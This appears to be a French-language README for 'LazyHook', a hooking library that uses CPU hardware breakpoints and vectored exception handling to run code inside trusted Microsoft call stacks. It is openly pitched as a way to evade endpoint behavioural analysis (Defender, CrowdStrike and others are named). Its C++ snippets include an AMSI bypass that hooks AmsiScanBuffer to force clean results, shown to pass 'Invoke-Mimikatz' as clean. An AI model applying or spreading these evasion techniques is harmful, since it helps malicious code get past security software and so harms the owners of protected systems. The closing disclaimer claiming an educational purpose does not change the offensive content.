hwbp/lazyhookContournez l'analyse comportementale en exécutant du code malveillant au sein de piles d'appels Microsoft de confiance, bibliothèque de hooking sans patch IAT/EAT.
LazyHook est un framework de hooking d'API furtif qui contourne les systèmes de prévention d'intrusion hôte (HIPS) grâce à la falsification de la pile d'appels. En exploitant les points d'arrêt matériels au niveau du processeur et la gestion vectorisée des exceptions (VEH), il exécute du code arbitraire comme s'il provenait de modules approuvés et signés par Microsoft — trompant complètement les moteurs d'analyse comportementale qui s'appuient sur l'inspection de la pile d'appels et la vérification de l'origine des modules.
Échappez à l'analyse comportementale en exécutant du code malveillant dans des piles d'appels Microsoft de confiance
Utilise des points d'arrêt matériels + VEH pour détourner des fonctions légitimes et falsifier l'origine des modules
Les systèmes de prévention d'intrusion hôte (HIPS) et les moteurs d'analyse comportementale surveillent les applications en :
Des systèmes comme Kaspersky System Watcher, Windows Defender, Cylance et CrowdStrike utilisent tous des variantes de ces techniques.
En détournant une fonction dans un assembly signé Microsoft (par ex., System.Windows.Forms.dll, user32.dll), nous pouvons exécuter une logique arbitraire dans une pile d'appels qui semble parfaitement légitime.
Remarque : il est possible de faire un JmpHook, qui accrochera MsgBox -> et juste après l'appel, exécutera votre code personnalisé. LazyHook ne fait pas cela.
Pourquoi cela fonctionne :
Le logiciel de sécurité voit le second scénario et pense : « MessageBoxA de user32.dll appelle des API Windows ? C'est un comportement normal. »
┌─────────────────────────────────────────────────────────┐
│ 1. Appel de la fonction cible │
│ ↓ │
│ 2. Le registre de débogage CPU se déclenche (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP est levée │
│ ↓ │
│ 4. Le gestionnaire VEH intercepte l'exception │
│ ↓ │
│ 5. L'exécution est redirigée vers la fonction de hook │
│ ↓ │
│ 6. CallOriginal() désactive temporairement le point │
│ d'arrêt │
│ ↓ │
│ 7. La fonction d'origine s'exécute │
│ ↓ │
│ 8. Le point d'arrêt est réactivé │
└─────────────────────────────────────────────────────────┘
Intercepte les fonctions importées en localisant leur adresse dans l'IAT et en définissant un point d'arrêt matériel. Cela hooke l'importation spécifique dans votre processus.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
Hooke globalement les fonctions exportées d'une DLL en résolvant leur adresse via la table d'exportation. Cela affecte tous les appels à cette exportation.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
La démo incluse présente trois scénarios pratiques :
Démontre le hooking IAT en interceptant les appels MessageBoxA et en modifiant le message affiché :
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
Montre comment surveiller les opérations sur les fichiers en journalisant les appels CreateFileA :
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Démontre le contournement de logiciels de sécurité en forçant toutes les analyses AMSI à renvoyer des résultats propres :
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}
La démo teste le bypass AMSI en analysant "Invoke-Mimikatz" (une chaîne malveillante connue) et montre qu'elle est classée comme propre.
Disposition de DR7 (simplifiée) :
- Bits 0,2,4,6 : indicateurs d'activation pour DR0-DR3 (activation locale)
- Bits 16-31 : conditions de point d'arrêt (exécution, écriture, E/S, lecture/écriture)
Le framework configure DR7 pour :
Le gestionnaire VEH :
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION pour reprendre au niveau du hooktemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}
La démo montre le hooking de AmsiScanBuffer pour forcer des résultats d'analyse propres :
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}
Cela démontre comment le comportement d'un logiciel de sécurité peut être modifié à l'exécution en interceptant des appels API critiques.
Hookez CreateFileA pour journaliser les accès aux fichiers sans modifier le comportement de l'application :
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Ce code démontre des techniques d'évasion avancées pour :
⚠️ Avertissement : toute utilisation non autorisée visant à contourner des contrôles de sécurité, modifier le comportement d'un logiciel ou contourner des protections peut violer les lois sur la fraude informatique (CFAA, RGPD, législation équivalente). Ce framework est fourni à des fins éducatives et de recherche en sécurité autorisée uniquement.
Comprendre les techniques offensives permet de construire de meilleures défenses.